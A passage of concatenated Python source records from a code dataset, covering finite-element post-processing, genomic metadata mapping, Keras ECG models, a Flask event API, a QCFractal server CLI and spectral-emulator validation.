+ 1j*np.sqrt( E0_txt[8]**2 + E0_txt[9]**2 + E0_txt[10]**2 )\n\tE0_1[i,1] = np.sqrt( E1_txt[5]**2 + E1_txt[6]**2 + E1_txt[7]**2 ) + 1j*np.sqrt( E1_txt[8]**2 + E1_txt[9]**2 + E1_txt[10]**2 )\n\tE0_2[i,1] = np.sqrt( E2_txt[5]**2 + E2_txt[6]**2 + E2_txt[7]**2 ) + 1j*np.sqrt( E2_txt[8]**2 + E2_txt[9]**2 + E2_txt[10]**2 )\n\tE2t[i,1] = np.loadtxt('E2t.txt')[1]\n\tE2_allt[i,1] = np.loadtxt('E2_allt.txt')[1]\n\tE0_txt, E1_txt, E2_txt = np.loadtxt('E0_0t.txt'), np.loadtxt('E0_1t.txt'), np.loadtxt('E0_2t.txt')\n\tE0_0t[i,1] = np.sqrt( E0_txt[5]**2 + E0_txt[6]**2 + E0_txt[7]**2 ) + 1j*np.sqrt( E0_txt[8]**2 + E0_txt[9]**2 + E0_txt[10]**2 )\n\tE0_1t[i,1] = np.sqrt( E1_txt[5]**2 + E1_txt[6]**2 + E1_txt[7]**2 ) + 1j*np.sqrt( E1_txt[8]**2 + E1_txt[9]**2 + E1_txt[10]**2 )\n\tE0_2t[i,1] = np.sqrt( E2_txt[5]**2 + E2_txt[6]**2 + E2_txt[7]**2 ) + 1j*np.sqrt( E2_txt[8]**2 + E2_txt[9]**2 + E2_txt[10]**2 )\n\t######2----------------------------------#####\n\tfile_Pns = open('Pns.dat', 'w')\n\tfor k, Pn in enumerate(Pns1):\n\t file_Pns.write('Pns_re_%d = %3.5e;\\n'%(k,Pn.real))\n\t file_Pns.write('Pns_im_%d = %3.5e;\\n'%(k,Pn.imag))\n\tfile_Pns.close()\n\tproject_getdp = getdp_path+'getdp projection_3D.pro -pre Projection -msh '+mesh_filename+' -res spectral_3D.res -pos postop_modal -bin -v 0'\n\tos.system(project_getdp)\n\tos.system('rm E2.txt E2_all.txt E0_0.txt E0_1.txt E0_2.txt')\n\tprojection_coeff_getdp = getdp_path+'getdp projection_coeff_3D.pro -pre Projection -msh '+mesh_filename+' -cal -pos postop_modal -v 0' \n\tos.system(projection_coeff_getdp)\n\tE2[i,2] = np.loadtxt('E2.txt')[1]\n\tE2_all[i,2] = np.loadtxt('E2_all.txt')[1]\n\tE0_txt, E1_txt, E2_txt = np.loadtxt('E0_0.txt'), np.loadtxt('E0_1.txt'), np.loadtxt('E0_2.txt')\n\tE0_0[i,2] = np.sqrt( E0_txt[5]**2 + E0_txt[6]**2 + E0_txt[7]**2 ) + 1j*np.sqrt( E0_txt[8]**2 + E0_txt[9]**2 + E0_txt[10]**2 )\n\tE0_1[i,2] = np.sqrt( E1_txt[5]**2 + E1_txt[6]**2 + E1_txt[7]**2 ) + 1j*np.sqrt( E1_txt[8]**2 + E1_txt[9]**2 + E1_txt[10]**2 )\n\tE0_2[i,2] = np.sqrt( E2_txt[5]**2 + E2_txt[6]**2 + E2_txt[7]**2 ) + 1j*np.sqrt( E2_txt[8]**2 + E2_txt[9]**2 + E2_txt[10]**2 )\n\tE2t[i,2] = np.loadtxt('E2t.txt')[1]\n\tE2_allt[i,2] = np.loadtxt('E2_allt.txt')[1]\n\tE0_txt, E1_txt, E2_txt = np.loadtxt('E0_0t.txt'), np.loadtxt('E0_1t.txt'), np.loadtxt('E0_2t.txt')\n\tE0_0t[i,2] = np.sqrt( E0_txt[5]**2 + E0_txt[6]**2 + E0_txt[7]**2 ) + 1j*np.sqrt( E0_txt[8]**2 + E0_txt[9]**2 + E0_txt[10]**2 )\n\tE0_1t[i,2] = np.sqrt( E1_txt[5]**2 + E1_txt[6]**2 + E1_txt[7]**2 ) + 1j*np.sqrt( E1_txt[8]**2 + E1_txt[9]**2 + E1_txt[10]**2 )\n\tE0_2t[i,2] = np.sqrt( E2_txt[5]**2 + E2_txt[6]**2 + E2_txt[7]**2 ) + 1j*np.sqrt( E2_txt[8]**2 + E2_txt[9]**2 + E2_txt[10]**2 )\n\t# ########3----------------------------------#####\n\t# file_Pns = open('Pns.dat', 'w')\n\t# for k, Pn in enumerate(Pns2):\n\t# file_Pns.write('Pns_re_%d = %3.5e;\\n'%(k,Pn.real))\n\t# file_Pns.write('Pns_im_%d = %3.5e;\\n'%(k,Pn.imag))\n\t# file_Pns.close()\n\t# project_getdp = getdp_path+'getdp projection_3D.pro -pre Projection -msh '+mesh_filename+' -res spectral_3D.res -pos postop_modal -bin -v 0'\n\t# os.system(project_getdp)\n\t# os.system('rm E2.txt E2_all.txt E0_0.txt E0_1.txt E0_2.txt')\n\t# projection_coeff_getdp = getdp_path+'getdp projection_coeff_3D.pro -pre Projection -msh '+mesh_filename+' -cal -pos postop_modal -v 0' \n\t# os.system(projection_coeff_getdp)\n\t# E2[i,3] = np.loadtxt('E2.txt')[1]\n\t# E2_all[i,3] = np.loadtxt('E2_all.txt')[1]\n\t# E0_txt, E1_txt, E2_txt = np.loadtxt('E0_0.txt'), np.loadtxt('E0_1.txt'), np.loadtxt('E0_2.txt')\n\t# E0_0[i,3] = np.sqrt( E0_txt[5]**2 + E0_txt[6]**2 + E0_txt[7]**2 ) + 1j*np.sqrt( E0_txt[8]**2 + E0_txt[9]**2 + E0_txt[10]**2 )\n\t# E0_1[i,3] = np.sqrt( E1_txt[5]**2 + E1_txt[6]**2 + E1_txt[7]**2 ) + 1j*np.sqrt( E1_txt[8]**2 + E1_txt[9]**2 + E1_txt[10]**2 )\n\t# E0_2[i,3] = np.sqrt( E2_txt[5]**2 + E2_txt[6]**2 + E2_txt[7]**2 ) + 1j*np.sqrt( E2_txt[8]**2 + E2_txt[9]**2 + E2_txt[10]**2 )\n\n# os.system(gmsh_path+'gmsh '+mesh_geo+' us.pos up.pos')\n# os.system(gmsh_path+'gmsh '+mesh_geo+' us.pos up.pos -merge compare.geo')\ndumpglob2npz('output.npz',globals()) \nplt.show()","sub_path":"main_3D_PML.py","file_name":"main_3D_PML.py","file_ext":"py","file_size_in_byte":14117,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"468116947","text":"# @title Map new RD3 records\r\n# @description for new records, map them to the intermediate table\r\n# @param data input dataset to process\r\n# @param id_suffix content to append to ID, e.g., \"_original\"\r\n# @return a list of dictionaries\r\ndef map_rd3_new_records(data, id_suffix):\r\n out = []\r\n for d in data:\r\n tmp = {}\r\n tmp['id'] = d.get('subject_id') + id_suffix\r\n tmp['EGA'] = d.get('file_ega_id')\r\n tmp['EGApath'] = d.get('file_path')\r\n tmp['name'] = d.get('file_name')\r\n tmp['md5'] = d.get('unencrypted_md5_checksum')\r\n tmp['typeFile'] = d.get('file_type')\r\n tmp['filegroupID'] = d.get('file_group_id')\r\n tmp['batchID'] = d.get('batch_id')\r\n tmp['experimentID'] = d.get('project_experiment_dataset_id')\r\n tmp['sampleID'] = d.get('sample_id')\r\n tmp['subjectID'] = d.get('subject_id')\r\n tmp['sequencingCentre'] = d.get('sequencing_center')\r\n tmp['sequencer'] = d.get('platform_model')\r\n tmp['libraryType'] = d.get('library_source').title()\r\n tmp['capture'] = d.get('library_selection')\r\n tmp['seqType'] = d.get('library_strategy')\r\n tmp['libraryLayout'] = d.get('library_layout')\r\n tmp['tissueType'] = d.get('tissue_type')\r\n tmp['materialType'] = d.get('sample_type')\r\n tmp['project_batch_id'] = d.get('project_batch_id')\r\n tmp['run_ega_id'] = d.get('run_ega_id')\r\n tmp['experiment_ega_id'] = d.get('experiment_ega_id')\r\n out.append(tmp)\r\n return out","sub_path":"archive/novelomics_new_record_mapping.py","file_name":"novelomics_new_record_mapping.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"281644403","text":"import tensorflow as tf\nfrom keras.layers import *\nfrom keras.models import Model\nfrom sklearn.metrics import f1_score\n\n\ndef fit_save(model, x, y, batch_size, validation_data, epochs, name=\"model1\"):\n Max = 0\n for i in np.arange(0, epochs):\n\n history = model.fit(x, y, batch_size=batch_size, validation_data=validation_data,\n epochs=1, verbose=0)\n\n y_pred1 = model.predict(validation_data[0])\n y_pred = np.argmax(y_pred1, axis=1)\n\n y_test = np.argmax(validation_data[1], axis=1)\n tmp = f1_score(y_test, y_pred, average=\"macro\")\n if tmp > Max:\n Max = tmp\n model.save(name + \".h5\")\n print('f1 score: ' + str(tmp) + \", max: \" + str(Max))\n\n\ndef fit_generator_save(model, generator, steps_per_epoch, validation_data, epochs, name=\"model1\"):\n max_f1 = 0\n for epoch in np.arange(0, epochs):\n\n history = model.fit_generator(generator, steps_per_epoch=steps_per_epoch,\n epochs=1, verbose=0)\n\n y_prediction = np.argmax(model.predict(validation_data[0]), axis=1)\n y_labels = np.argmax(validation_data[1], axis=1)\n\n current_f1 = f1_score(y_labels, y_prediction, average=\"macro\")\n if current_f1 > max_f1:\n max_f1 = current_f1\n model.save(name + \".h5\")\n print('epoch: ', epoch, 'f1 score: ', current_f1, \"max: \", max_f1)\n\n\nclass KMaxPooling(Layer):\n \"\"\"\n K-max pooling layer that extracts the k-highest activations from a sequence (2nd dimension).\n TensorFlow backend.\n \"\"\"\n\n def __init__(self, k=1, **kwargs):\n super().__init__(**kwargs)\n self.input_spec = InputSpec(ndim=3)\n self.k = k\n\n def compute_output_shape(self, input_shape):\n return (input_shape[0], (input_shape[2] * self.k))\n\n def call(self, inputs):\n # swap last two dimensions since top_k will be applied along the last dimension\n shifted_input = tf.transpose(inputs, [0, 2, 1])\n\n # extract top_k, returns two tensors [values, indices]\n top_k = tf.nn.top_k(shifted_input, k=self.k, sorted=True, name=None)[0]\n\n # return flattened output\n return top_k\n\n\ndef build_model1(size):\n input_ecg = Input(shape=(size, 2))\n\n x = Lambda(lambda layer: layer[:, :, 0:1])(input_ecg)\n x1 = Lambda(lambda layer: layer[:, :, 1:2])(input_ecg)\n\n for i in range(5):\n x = Conv1D(32, 5, padding='same')(x)\n\n x = Concatenate(axis=2)([x, x1])\n x = KMaxPooling(k=100)(x)\n\n x = Flatten()(x)\n x = Dense(32, activation=\"relu\")(x)\n output = Dense(2, activation=\"sigmoid\")(x)\n model = Model(input_ecg, output)\n\n return model\n\n\ndef build_model2(size):\n input_ecg = Input(shape=(size, 2))\n\n x = Lambda(lambda layer: layer[:, :, 0:1])(input_ecg)\n x1 = Lambda(lambda layer: layer[:, :, 1:2])(input_ecg)\n\n for i in range(5):\n x = Conv1D(32, 5, dilation_rate=i + 1, padding='same')(x)\n\n x = Concatenate(axis=2)([x, x1])\n x = KMaxPooling(k=100)(x)\n\n x = Flatten()(x)\n x = Dense(32, activation=\"relu\")(x)\n output = Dense(2, activation=\"sigmoid\")(x)\n model = Model(input_ecg, output)\n\n return model\n\n\ndef build_model3(size):\n input_ecg = Input(shape=size)\n\n layers_leads = []\n for i in range(size[1]):\n tmp = Lambda(lambda layer: layer[:, :, i:i + 1])(input_ecg)\n tmp = Conv1D(20, 150, strides=75)(tmp)\n layers_leads.append(Reshape((-1, 20, 1))(tmp))\n\n x = Concatenate(axis=3)(layers_leads)\n\n resid = Conv2D(7, (3, 3), dilation_rate=1, padding='same')(x)\n for i in np.arange(1, 5):\n x = Conv2D(7, (3, 3), dilation_rate=(i ** 2, i ** 2), padding='same', activation='relu')(resid)\n x = BatchNormalization()(x)\n x = Conv2D(7, (3, 3), dilation_rate=(i ** 2, i ** 2), padding='same', activation='relu')(x)\n x = BatchNormalization()(x)\n resid = Concatenate(axis=3)([x, resid])\n\n x = Conv2D(35, (1, 1), dilation_rate=(1, 1))(resid)\n x = BatchNormalization()(x)\n x = AvgPool2D(pool_size=(2, 2))(x)\n\n x = Flatten()(x)\n output = Dense(2, activation=\"softmax\")(x)\n model = Model(input_ecg, output)\n\n return model\n\n\ndef build_model4(size):\n input_ecg = Input(shape=size)\n\n layers_leads = []\n for i in range(size[1]):\n tmp = Lambda(lambda layer: layer[:, :, i:i + 1])(input_ecg)\n tmp = Conv1D(20, 100, strides=50)(tmp)\n layers_leads.append(Reshape((-1, 20, 1))(tmp))\n\n x = Concatenate(axis=3)(layers_leads)\n\n resid = Conv2D(7, (3, 3), dilation_rate=1, padding='same')(x)\n for i in np.arange(1, 3):\n x = Conv2D(7, (3, 3), dilation_rate=(i ** 2, i ** 2), padding='same', activation='relu')(resid)\n x = BatchNormalization()(x)\n x = Conv2D(7, (3, 3), dilation_rate=(i ** 2, i ** 2), padding='same', activation='relu')(x)\n x = BatchNormalization()(x)\n resid = Concatenate(axis=3)([x, resid])\n\n x = Conv2D(35, (1, 1), dilation_rate=(1, 1))(resid)\n x = BatchNormalization()(x)\n x = AvgPool2D(pool_size=(2, 2))(x)\n\n x = Flatten()(x)\n output = Dense(2, activation=\"softmax\")(x)\n model = Model(input_ecg, output)\n\n return model\n","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"251866733","text":"from collections import OrderedDict\npairs = [(\"a\", 1), ('b', 10), ('c', 50), ('d', 150)]\n\nod = OrderedDict()\nfor p in pairs:\n od[p[0]] = p[1]\n \n\nprint(od)\n# Перетаскивание в конец\nod.move_to_end('a', last=True)\nprint(od)\n\n# Удалим первый добавленный элемент\nod.popitem(last=False)\nprint(od)","sub_path":"day5/Lect18/order.py","file_name":"order.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"22258259","text":"from getopt import getopt\n\nargs = ['-q', '-b', '/tmp/log.txt', 'file1.txt', 'file2.txt']\noptions, extras = getopt(args, 'b:q')\nprint('options is', options)\nprint('extras is', extras)\n\n# Defaults.\nlogfile = None\nquiet = False\n\n# Override based on command-line options.\nfor (opt, arg) in options:\n if opt == '-b':\n logfile = arg\n elif opt == '-q':\n quiet = True\n else:\n assert False, 'unrecognized option {}'.format(opt)\nprint('Log file is {} and quiet is {}'.format(logfile, quiet))\n","sub_path":"src/configure/getopt_simple.py","file_name":"getopt_simple.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"331175493","text":"import os\nimport datetime\nimport json\nimport bcrypt\n\nfrom functools import wraps\n\nfrom flask import Flask,Blueprint,render_template, request, jsonify,send_from_directory,redirect,make_response,url_for,flash\n\nfrom google.cloud import datastore\n\nevents = Blueprint('events', __name__)\n\nDS = datastore.Client()\nEVENT = 'Event'\nUSERSESS = 'Sess'\nSUCCESS = 0\n\nif os.getenv('GAE_ENV','').startswith('standard'):\n EVE = DS.key('Entities','event_root')\n USER = DS.key('Entities','user_root')\nelse:\n EVE = DS.key('Entities','event_dev')\n USER = DS.key('Entities','user_dev')\n\n# check login\ndef login_check(sess):\n\n print(sess)\n if sess == None or sess == '' or len(sess) == 0:\n print('please login')\n return redirect(url_for('auth.login'))\n \n query_key = DS.key(USERSESS,int(sess))\n query = list(DS.query(kind = USERSESS,ancestor = query_key).fetch())\n for i in query:\n print(i)\n if user != i['user'] or (datetime.datetime.now() - datetime.timedelta(hours=1)) > sess_db['exp'].replace(tzinfo = None):\n print('expired')\n return redirect(url_for('auth.logout'))\n \n return SUCCESS\n \n\ndef put_event(name,date_str):\n entity = datastore.Entity(key = DS.key(EVENT,parent=EVE ))\n entity.update({'name':name,'date':date_str})\n DS.put(entity)\n return\n\ndef delete_event(del_id):\n del_k = DS.key(EVENT, del_id,parent=EVE )\n DS.delete(del_k)\n return\n\ndef fetch_events(limit=None):\n if limit != None:\n query = DS.query(kind = EVENT )\n query.order = ['date']\n events = query.fetch(limit = limit)\n else:\n query = DS.query(kind = EVENT )\n query.order = ['date']\n events = query.fetch()\n return events\n\n@events.route('/')\n@events.route('/index')\ndef root():\n sess = request.cookies.get('sess')\n result = login_check(sess)\n if result != SUCCESS:\n return result\n #return render_template(\"index.html\",user = 'back') \n return render_template('index.html')\n \n\n@events.route('/events',methods = ['GET'])\ndef getEvent():\n print('GET event')\n \n sess = request.cookies.get('sess')\n result = login_check(sess)\n if result != SUCCESS:\n return result\n \n events = fetch_events()\n payload = []\n content = {}\n for e in events:\n content = {'id':e.id,'name':e['name'],'date':e['date']}\n payload.append(content)\n content = {}\n event_l = {'events':payload}\n print(json.dumps(event_l))\n data = json.dumps(event_l)\n return jsonify(data)\n\n@events.route('/event',methods = ['POST'])\ndef postEvent():\n print('POST event')\n \n sess = request.cookies.get('sess')\n result = login_check(sess)\n if result != SUCCESS:\n return result\n\n name,date = request.json['name'], request.json['date']\n print(name,date)\n put_event(name,date)\n return ''\n\n@events.route('/event',methods = ['DELETE'])\ndef delEvent():\n print('DEL event')\n\n sess = request.cookies.get('sess')\n result = login_check(sess)\n if result != SUCCESS:\n return result\n \n del_id = request.json['id']\n delete_event(del_id)\n return getEvent()\n","sub_path":"lab2/events.py","file_name":"events.py","file_ext":"py","file_size_in_byte":3168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"397315374","text":"\"\"\"\nA command line interface to the qcfractal server.\n\"\"\"\n\nimport argparse\n\nimport qcfractal\n\nfrom . import cli_utils\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(description='A CLI for the QCFractalServer.')\n\n manager = parser.add_argument_group('QueueManager Settings (optional)')\n # This option defaults to None if option not present, -1 if present, or value if provided\n manager.add_argument(\n '--local-manager',\n const=-1,\n default=None,\n action='store',\n nargs='?',\n type=int,\n help='Creates a local pool QueueManager')\n\n server = parser.add_argument_group('QCFractalServer Settings')\n server.add_argument(\"name\", type=str, help=\"The name of the FractalServer and its associated database\")\n server.add_argument(\"--log-prefix\", type=str, default=None, help=\"The logfile prefix to use\")\n server.add_argument(\"--port\", type=int, default=7777, help=\"The server port\")\n server.add_argument(\n \"--security\", type=str, default=None, choices=[None, \"local\"], help=\"The security protocol to use\")\n server.add_argument(\"--database-uri\", type=str, default=\"mongodb://localhost\", help=\"The database URI to use\")\n server.add_argument(\"--tls-cert\", type=str, default=None, help=\"Certificate file for TLS (in PEM format)\")\n server.add_argument(\"--tls-key\", type=str, default=None, help=\"Private key file for TLS (in PEM format)\")\n server.add_argument(\"--config-file\", type=str, default=None, help=\"A configuration file to use\")\n server.add_argument(\"--heartbeat-frequency\", type=int, default=300, help=\"The manager heartbeat frequency.\")\n\n parser._action_groups.reverse()\n\n args = vars(parser.parse_args())\n if args[\"config_file\"] is not None:\n data = cli_utils.read_config_file(args[\"config_file\"])\n\n args = cli_utils.argparse_config_merge(parse, args, data)\n\n return args\n\n\ndef main(args=None):\n\n # Grab CLI args if not present\n if args is None:\n args = parse_args()\n\n # Handle SSL\n ssl_certs = sum(args[x] is not None for x in [\"tls_key\", \"tls_cert\"])\n if ssl_certs == 0:\n ssl_options = None\n elif ssl_certs == 2:\n ssl_options = {\"crt\": args[\"tls_cert\"], \"key\": args[\"tls_key\"]}\n else:\n raise KeyError(\"Both tls-cert and tls-key must be passed in.\")\n\n # Handle Adapters/QueueManagers\n exit_callbacks = []\n\n # Build an optional adapter\n if args[\"local_manager\"]:\n ncores = args[\"local_manager\"]\n if ncores == -1:\n ncores = None\n\n from concurrent.futures import ProcessPoolExecutor\n\n adapter = ProcessPoolExecutor(max_workers=ncores)\n\n else:\n adapter = None\n\n # Build the server itself\n server = qcfractal.FractalServer(\n port=args[\"port\"],\n security=args[\"security\"],\n ssl_options=ssl_options,\n storage_uri=args[\"database_uri\"],\n storage_project_name=args[\"name\"],\n logfile_prefix=args[\"log_prefix\"],\n heartbeat_frequency=args[\"heartbeat_frequency\"],\n queue_socket=adapter)\n\n # Add exit callbacks\n for cb in exit_callbacks:\n server.add_exit_callback(cb[0], *cb[1], **cb[2])\n\n # Register closing\n cli_utils.install_signal_handlers(server.loop, server.stop)\n\n # Blocks until keyboard interupt\n server.start()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"qcfractal/cli/qcfractal_server.py","file_name":"qcfractal_server.py","file_ext":"py","file_size_in_byte":3369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"588516192","text":"from typing import List\nimport torch\nimport numpy as np\n\nfrom simple_einet.utils import SamplingContext, index_one_hot\nfrom simple_einet.layers import AbstractLayer\nfrom simple_einet.distributions import AbstractLeaf\n\n\nclass FactorizedLeaf(AbstractLayer):\n \"\"\"\n A 'meta'-leaf layer that combines multiple scopes of a base-leaf layer via naive factorization.\n\n Attributes:\n base_leaf: Base leaf layer that contains the actual leaf distribution.\n in_features: Number of input features/RVs.\n out_features: Number of output features/RVs. This determines the factorization group size (round(in_features / out_features))\n scopes: One-hot mapping from which in_features correspond to which out_features.\n\n \"\"\"\n\n def __init__(\n self,\n num_features: int,\n num_features_out: int,\n num_repetitions,\n base_leaf: AbstractLeaf,\n ):\n \"\"\"\n Args:\n in_features (int): Number of input features/RVs.\n out_features (int): Number of output features/RVs.\n num_repetitions (int): Number of repetitions.\n base_leaf (Leaf): Base leaf distribution object.\n \"\"\"\n\n super().__init__(num_features, num_repetitions=num_repetitions)\n\n self.base_leaf = base_leaf\n self.num_features_out = num_features_out\n\n # Size of the factorized groups of RVs\n cardinality = int(np.round(self.num_features / self.num_features_out))\n\n # Construct mapping of scopes from in_features -> out_features\n scopes = torch.zeros(num_features, self.num_features_out, num_repetitions)\n for r in range(num_repetitions):\n idxs = torch.randperm(n=self.num_features)\n for o in range(num_features_out):\n low = o * cardinality\n high = (o + 1) * cardinality\n if o == num_features_out - 1:\n high = self.num_features\n scopes[idxs[low:high], o, r] = 1\n\n self.register_buffer(\"scopes\", scopes)\n\n def forward(self, x: torch.Tensor, marginalized_scopes: List[int]):\n # Forward through base leaf\n x = self.base_leaf(x, marginalized_scopes)\n\n # Factorize input channels\n x = x.sum(dim=1)\n\n # Merge scopes by naive factorization\n x = torch.einsum(\"bicr,ior->bocr\", x, self.scopes)\n\n assert x.shape == (\n x.shape[0],\n self.num_features_out,\n self.base_leaf.num_leaves,\n self.num_repetitions,\n )\n return x\n\n def sample(self, num_samples: int = None, context: SamplingContext = None) -> torch.Tensor:\n # Save original indices_out and set context indices_out to none, such that the out_channel\n # are not filtered in the base_leaf sampling procedure\n indices_out = context.indices_out\n context.indices_out = None\n samples = self.base_leaf.sample(context=context)\n num_samples = samples.shape[0]\n\n # Check that shapes match as expected\n if samples.dim() == 4:\n assert samples.shape == (\n context.num_samples,\n self.base_leaf.num_channels,\n self.num_features,\n self.base_leaf.num_leaves,\n )\n elif samples.dim() == 5:\n assert self.num_features == samples.shape[1]\n assert hasattr(self.base_leaf, \"cardinality\")\n assert samples.shape == (\n context.num_samples,\n self.base_leaf.out_features,\n self.base_leaf.cardinality,\n self.base_leaf.num_leaves,\n )\n\n if not context.is_differentiable:\n scopes = self.scopes[..., context.indices_repetition].permute(2, 0, 1)\n rnge_in = torch.arange(self.num_features_out, device=samples.device)\n scopes = (scopes * rnge_in).sum(-1).long()\n indices_in_gather = indices_out.gather(dim=1, index=scopes)\n indices_in_gather = indices_in_gather.view(num_samples, 1, -1, 1)\n\n indices_in_gather = indices_in_gather.expand(-1, samples.shape[1], -1, -1)\n samples = samples.gather(dim=-1, index=indices_in_gather)\n samples.squeeze_(-1) # Remove num_leaves dimension\n else:\n # i_rep = context.indices_repetition.argmax(-1).long()\n # i_out = indices_out.argmax(-1).long()\n # scopes_orig = self.scopes[..., i_rep].permute(2, 0, 1)\n # rnge_in = torch.arange(self.num_features_out, device=samples.device)\n # scopes_orig = (scopes_orig * rnge_in).sum(-1).long()\n # indices_in_gather_orig = i_out.gather(dim=1, index=scopes_orig)\n # indices_in_gather_orig = indices_in_gather_orig.view(num_samples, 1, -1, 1)\n #\n # indices_in_gather_orig = indices_in_gather_orig.expand(-1, samples.shape[1], -1, -1)\n # samples_orig = samples.gather(dim=-1, index=indices_in_gather_orig)\n # samples_orig.squeeze_(-1) # Remove num_leaves dimension\n\n scopes = self.scopes.unsqueeze(0) # make space for batch dim\n r_idx = context.indices_repetition.view(context.num_samples, 1, 1, -1)\n scopes = index_one_hot(scopes, index=r_idx, dim=-1)\n\n indices_in = index_one_hot(indices_out.unsqueeze(1), index=scopes.unsqueeze(-1), dim=2)\n\n indices_in = indices_in.unsqueeze(1) # make space for channel dim\n samples = index_one_hot(samples, index=indices_in, dim=-1)\n\n # assert (samples - samples_orig).sum() < 1e-4\n\n return samples\n\n def extra_repr(self):\n return f\"num_features={self.num_features}, num_features_out={self.num_features_out}\"\n","sub_path":"simple_einet/factorized_leaf_layer.py","file_name":"factorized_leaf_layer.py","file_ext":"py","file_size_in_byte":5737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"434655305","text":"'''\n\nvalidate the PCA NN \n\n'''\nimport os, sys \nimport pickle\nimport numpy as np\n\nfrom speculator import SpectrumPCA\nfrom speculator import Speculator\n\nimport matplotlib as mpl \nmpl.use('Agg') \nimport matplotlib.pyplot as plt\n\n#-------------------------------------------------------\n# input \n#-------------------------------------------------------\n#model = 'nmfburst'\n#n_pcas = [30, 60, 30, 30, 30, 30] # number of PCA components \n#archs = ['16x256', '16x256', '16x256', '16x256', '16x256', '16x256'] # architectures\n\n#model = 'nmf_bases'\n#n_pcas = [50, 30, 30]\n#archs = ['8x256', '8x256', '8x256'] # architectures\n#n_pcas = [30, 30, 30, 30, 30, 30]\n#archs = ['10x256', '10x256', '10x256', '10x256', '10x256', '10x256'] # architectures\n\nmodel = 'burst'\nn_pcas = [50, 30, 30]\narchs = ['8x256', '8x256', '8x256'] # architectures\n\nnbatch = 500 \ndesc = 'nbatch250'\n#dat_dir = '/Users/chahah/data/provabgs/'\ndat_dir = '/tigress/chhahn/provabgs/'\n\n# read in wavelenght values \nwave = np.load(os.path.join(dat_dir, 'wave_fsps.npy'))\n\nn_wavebin = len(n_pcas)\nif n_wavebin == 6: \n wave_bins = [ \n (wave < 3000),\n (wave >= 3000) & (wave < 4000),\n (wave >= 4000) & (wave < 5000),\n (wave >= 5000) & (wave < 6000), \n (wave >= 6000) & (wave < 7000),\n (wave >= 7000)]\nelif n_wavebin == 3: \n wave_bins = [\n (wave < 4500), \n (wave >= 4500) & (wave < 6500),\n (wave >= 6500)]\n\n\n# plot loss \nlosses = [\n np.loadtxt(os.path.join(dat_dir,\n 'fsps.%s.seed0_%i.%iw%i.pca%i.%s.%s.loss.dat' % (model, nbatch-1, n_wavebin, i, n_pcas[i], archs[i], desc)))\n for i in range(len(wave_bins))\n ]\n\nfig = plt.figure(figsize=(10,5))\nsub = fig.add_subplot(111)\nfor i, loss in enumerate(losses): \n sub.plot(np.arange(loss.shape[0]), loss[:,2], label='wave bin %i' % i)\n\nsub.legend(loc='upper right')\nsub.set_ylabel('loss', fontsize=25)\nsub.set_yscale('log')\nsub.set_xlabel('Epochs', fontsize=25)\nsub.set_xlim(0, loss.shape[0])\nfig.savefig('fsps.%s.%s.%s.%s.valid_emu.loss.png' % (model, '_'.join(str(nn) for nn in n_pcas), '.'.join(archs), desc), bbox_inches='tight') \n\n\n# read in test parameters and data\ntheta_test = np.load(os.path.join(dat_dir,\n 'fsps.%s.theta.test.npy' % model)).astype(np.float32)\n_lnspec_test = np.load(os.path.join(dat_dir, \n 'fsps.%s.lnspectrum.test.npy' % model))\n\nprint(theta_test.shape)\n\nlnspec_test = []\nfor wave_bin in wave_bins: \n lnspec_test.append(_lnspec_test[:,wave_bin])\nlnspec_test = np.concatenate(lnspec_test, axis=1) \n\n_wave = [] \nfor wave_bin in wave_bins: \n _wave.append(wave[wave_bin]) \n_wave = np.concatenate(_wave)\n\n# load speculator \nemus = [\n Speculator(\n restore=True, \n restore_filename=os.path.join(dat_dir, \n 'fsps.%s.seed0_%i.%iw%i.pca%i.%s.%s' % \n (model, nbatch-1, n_wavebin, i, n_pcas[i], archs[i], desc))\n )\n for i in range(len(wave_bins))\n ]\n\ndef emu_lnspec(theta):\n lnspec = [emus[i].log_spectrum(theta) for i in range(len(emus))]\n return np.concatenate(lnspec, axis=1)\n\n# reconstructed ln(spec) \nlnspec_recon = emu_lnspec(theta_test) \n\n# plot fractional error\nfig = plt.figure(figsize=(15,5))\n# calculate fraction error \nfrac_dspectrum = 1. - np.exp(lnspec_recon - lnspec_test) \nfrac_dspectrum_quantiles = np.nanquantile(frac_dspectrum, \n [0.0005, 0.005, 0.025, 0.16, 0.5, 0.84, 0.975, 0.995, 0.9995], axis=0)\n\nsub = fig.add_subplot(111)\nsub.fill_between(_wave, frac_dspectrum_quantiles[0], frac_dspectrum_quantiles[-1], \n fc='C0', ec='none', alpha=0.1, label='99.9%')\nsub.fill_between(_wave, frac_dspectrum_quantiles[1], frac_dspectrum_quantiles[-2], \n fc='C0', ec='none', alpha=0.2, label='99%')\nsub.fill_between(_wave, frac_dspectrum_quantiles[2], frac_dspectrum_quantiles[-3], \n fc='C0', ec='none', alpha=0.3, label='95%')\nsub.fill_between(_wave, frac_dspectrum_quantiles[3], frac_dspectrum_quantiles[-4],\n fc='C0', ec='none', alpha=0.5, label='68%')\nsub.plot(_wave, frac_dspectrum_quantiles[4], c='C0', ls='-') \nsub.plot(wave, np.zeros(len(wave)), c='k', ls=':') \n\n# mark +/- 1%\nsub.plot(wave, 0.01 * np.ones(len(wave)), c='k', ls='--', lw=0.5)\nsub.plot(wave, -0.01 * np.ones(len(wave)), c='k', ls='--', lw=0.5)\n\nsub.legend(loc='upper right', fontsize=20)\nsub.set_xlabel('wavelength ($A$)', fontsize=25) \nsub.set_xlim(2.3e3, 1e4) \nsub.set_ylabel(r'$(f_{\\rm emu} - f_{\\rm 